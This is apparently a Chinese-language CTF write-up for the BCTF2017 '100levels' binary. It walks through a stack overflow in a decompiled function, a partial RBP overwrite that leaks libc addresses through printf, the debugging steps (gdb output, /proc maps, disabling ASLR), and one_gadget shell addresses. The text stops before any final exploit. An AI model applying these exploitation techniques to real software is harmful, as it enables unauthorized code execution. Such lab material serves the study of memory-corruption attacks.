PIE影响的只是程序加载基址,并不会影响指令间的相对地址,因此我们如果能泄露出程序或libc的某些地址,我们就可以利用偏移来达到目的。
有漏洞的函数如下
signed __int64 __fastcall sub_E43(signed int a1)
{
signed __int64 result; // rax@2
int v2; // eax@5
__int64 v3; // rax@5
__int64 buf; // [sp+10h] [bp-30h]@1
__int64 v5; // [sp+18h] [bp-28h]@1
__int64 v6; // [sp+20h] [bp-20h]@1
__int64 v7; // [sp+28h] [bp-18h]@1
int v8; // [sp+34h] [bp-Ch]@5
int v9; // [sp+38h] [bp-8h]@5
int v10; // [sp+3Ch] [bp-4h]@5
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
if ( a1 )
{
if ( sub_E43((unsigned int)(a1 - 1)) == 0 )
{
result = 0LL;
}
else
{
v10 = rand() % a1;
v2 = rand();
v9 = v2 % a1;
v8 = v2 % a1 * v10;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", (unsigned int)v10, (unsigned int)v9);
read(0, &buf, 0x400uLL); #溢出点
v3 = strtol((const char *)&buf, 0LL, 10);
result = v3 == v8;
}
}
else
{
result = 1LL;
}
return result;
}
read会读入0x400个字符到栈上,而对应的局部变量buf显然没那么大,因此会造成栈溢出。由于使用了PIE,而且题目中虽然有system但是没有后门,所以本题没办法使用partial write劫持RIP。
offset为0x30+8 = 56
我们观察到,这个函数中,print函数是通过rbp+offset进行定位的
.text:0000000000000ECC 048 mov eax, [rbp+var_34]
.text:0000000000000ECF 048 mov esi, eax
.text:0000000000000ED1 048 lea rdi, aLevelD ; "Level %d\n"
.text:0000000000000ED8 048 mov eax, 0
.text:0000000000000EDD 048 call _printf
.text:0000000000000EE2 048 mov edx, [rbp+var_8]
.text:0000000000000EE5 048 mov eax, [rbp+var_4]
.text:0000000000000EE8 048 mov esi, eax
.text:0000000000000EEA 048 lea rdi, aQuestionDD?Ans ; "Question: %d * %d = ? Answer:"
.text:0000000000000EF1 048 mov eax, 0
.text:0000000000000EF6 048 call _printf
同时在调试这个函数的时候,栈上有有大量指向libc的地址,我们可以通过partial overwrite修改RBP的值指向这些地址,从而使print函数leak出了libc的地址,利用这些地址和libc就可以计算到one gadget RCE的地址从而栈溢出调用。
在开启PIE且去掉符号表的情况下,需要使用more /proc/pid/maps
查找elf的基地址
more /proc/23332/maps
562f09385000-562f09387000 r-xp 00000000 fd:00 8937750 /root/sploitfun/BCTF2017_100levels/100levels
562f09586000-562f09587000 r--p 00001000 fd:00 8937750 /root/sploitfun/BCTF2017_100levels/100levels
562f09587000-562f09588000 rw-p 00002000 fd:00 8937750 /root/sploitfun/BCTF2017_100levels/100levels
再加上ida中看到的基地址,计算出绝对地址
或者echo 0 > /proc/sys/kernel/randomize_va_space
调试的时候关闭PIE(关闭这个表示ASLR和PIE都关闭)
关闭后elf基地址0x555555554000
,question地址0x555555554e43
,question中read的地址为0x555555554f0c
,question中rbp:0x7fffffffe140
,多输出一个a之后,rbp的值为0x7fffffff0a41
gdb-peda$ x/gx $rbp-0x40
0x7fffffffe100: 0x00007ffff7dd5400
gdb-peda$ x/3i 0x00007ffff7dd5400
0x7ffff7dd5400 <_IO_2_1_stdout_>: xchg DWORD PTR [rax],ebp
0x7ffff7dd5402 <_IO_2_1_stdout_+2>: lods eax,DWORD PTR ds:[rsi]
0x7ffff7dd5403 <_IO_2_1_stdout_+3>: sti
print相关位置的汇编代码如下
.text:0000000000000ECC ; 30: printf("Level %d\n", (unsigned int)a1);
.text:0000000000000ECC 048 mov eax, [rbp+var_34]
.text:0000000000000ECF 048 mov esi, eax
.text:0000000000000ED1 048 lea rdi, aLevelD ; "Level %d\n"
.text:0000000000000ED8 048 mov eax, 0
.text:0000000000000EDD 048 call _printf
.text:0000000000000EE2 ; 31: printf("Question: %d * %d = ? Answer:", (unsigned int)v10, (unsigned int)v9);
.text:0000000000000EE2 048 mov edx, [rbp+var_8]
.text:0000000000000EE5 048 mov eax, [rbp+var_4]
.text:0000000000000EE8 048 mov esi, eax
.text:0000000000000EEA 048 lea rdi, aQuestionDD?Ans ; "Question: %d * %d = ? Answer:"
.text:0000000000000EF1 048 mov eax, 0
.text:0000000000000EF6 048 call _printf
通过如下可知,Level之后的值是rbp-0x34位置上的值
gdb-peda$ x/s 0x7fffffffe0f0-0x34
0x7fffffffe0bc: "\001"
查找libc中的one_gadget
one_gadget /usr/lib64/libc.so.6
0x43098 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x430ec execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xe821f execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xe905b execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL